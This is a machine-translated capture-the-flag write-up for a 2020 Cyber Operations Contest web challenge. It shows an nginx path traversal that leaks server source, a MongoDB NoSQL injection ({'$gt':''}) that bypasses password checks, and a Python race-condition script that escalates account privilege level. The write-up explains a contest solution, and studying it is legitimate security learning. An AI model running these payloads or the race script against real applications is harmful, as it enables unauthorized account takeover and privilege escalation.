Arang.dev
Search
사이버작전 경연대회 2020🏁 CTF🌐 Translated

2020 Cyber Operations Contest - Intranet Writeup

Privilege escalation using Nginx route configuration error, NoSQL Injection, and Race Condition

#cyber-warfare#nosql-injection#race-condition#nginx

This post was machine-translated from Korean by AI. Some expressions may differ from the original.

Read the original (Korean)

Problem

Category

Score

1.3 Intranet

web

?

In the exposed internal site of the enemy state's biochemical research lab, hijack administrator privileges and explore the internal system.

http://3.35.40.133

Solution Procedure

  1. Server source code leak using nginx route configuration error
  2. Acquire member privileges using nosql injection
  3. After checking functionality, acquire admin privileges using race condition
  4. Obtain flag when viewing a member level=2 post on the board

Answer

flag{This_is_top_secret_dont_you_agree}

Walkthrough

There is a sign up / sign in page.

After signing up and logging in, if you go to mypage, you can confirm that perm is Guest.

At this point, a request is made to /api/static/{:userid}. Given this and the fact that the server is nginx, we can hypothesize that a file leak might occur due to an incorrect route configuration.

As shown, if you request /api/static../User.js, due to the incorrect route configuration in nginx, you can escape the static directory and access files that should normally be inaccessible, allowing you to obtain the server-side code.

----------------------------------------------------------------------------------------------

const signin = (req, res) => {

    User

        .findOne({

            userid: req.body.userid,

            password: req.body.password

        })

        .then(user => {

            if (!user) {

                res.status(406);

                res.send();

            } else {

                res.status(200);

                control

                    .sign({ id: user.userid })

                    .then(tok => {

                        res.send(JSON.stringify({

                            username: user.userid,

                            token: tok

                        }))}

                    );

            }})

        .catch(err => {

            res.status(500);

            res.send(JSON.stringify({ reason: { html: err } }));

        });

};


----------------------------------------------------------------------------------------------

Looking at the login section of the server-side code, we can see that it searches using the id and password received from the user as keys via the .findOne method of the mongo db Model.

 

However, because the findOne method is used and the server is configured with app.use( bodyParser.urlencoded({ extended: true }) );, the user can pass an Object directly. This causes a nosql injection.

If a request is made like {"userid":"admin","password":{"$gt":""}}, login becomes possible without knowing the admin password.

 

Since we obtained the admin token via nosql injection, if we replace the token in local storage with the admin token, we can verify that we are logged in as admin as shown below.

 

 

However, in this challenge, the real admin must be level=2 or higher.



The currently logged-in admin is level=1(member), so in the board list, they can only view posts with a level lower than their own. Therefore, per the objective of the challenge, we must obtain the admin level.

 

In this situation, the auth behavior is somewhat strange. If the correct division_number is entered, and the currently connected account's level is 0, it increments that account's level by 1.

 

The division_number is unknown, but similarly, we can raise the level using nosql injection.

 

Additionally, since the code uses the .findOne function in the Division model to find a value and then uses .updateOne to update it, we identified the possibility that sending the request twice quickly could trigger a race condition, causing the level to increment twice.


---------------------------------------------------------------------------------------------- 

#-*- coding:utf-8 -*-

import requests

import sys

import time

import re

import string

import datetime

import json, os, sys, html, zlib

from arang import *

from concurrent.futures import ThreadPoolExecutor

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

 

packet='''POST http://3.35.40.133/api/signup HTTP/1.1

Host: 3.35.40.133

Connection: keep-alive

Content-Length: 42

Accept: application/json, text/plain, */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36

Content-Type: application/json;charset=UTF-8

Origin: http://3.35.40.133

Referer: http://3.35.40.133/signup

Accept-Encoding: gzip, deflate

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

 

'''

 

s = requests.session()

 

def raceCondition(args):

    global pp,s

    u = 'http://3.35.40.133/api/auth'   

    data = {"division_number":{"$gt":""}}

    r = s.post(u, data=json.dumps(data), headers=pp.headers)

    print('--------------')

    print(r.content)

    print('--------------')

 

   

 

for i in range(1,1000):

    # signup   

    pp = parsePacket(packet.format(i))

    pp.proxies="127.0.0.1:8888"

    data = {"userid":"arat0{:03d}".format(i),"password":"dkfkd31231"}

    r = s.post(pp.url, data=json.dumps(data), headers=pp.headers)

    if r.status_code==200:

        # signin

        u = "http://3.35.40.133/api/signin"

        data = {"userid":"arat0{:03d}".format(i),"password":{"$gt":""}}

        r = s.post(u, data=json.dumps(data), headers=pp.headers)

        if r.status_code==200:

            rj = json.loads(r.content)

            pp.headers['x-access-token'] = rj['token']

           

           

           

            with ThreadPoolExecutor(3) as pool:

                t=[1,2,3,4,5]

                ret = [x for x in pool.map(raceCondition,t)]


---------------------------------------------------------------------------------------------- 

Through the exploit code that triggers the race condition as shown above, we can increment the level twice.

We confirmed that the auth request was indeed made twice, and upon logging in with that account...

...we can see that it has changed to admin.

Flag Acquired

Comments

Loading comments...
2020 Cyber Operations Contest - Intranet Writeup | 사이버작전 경연대회 2020 | Arang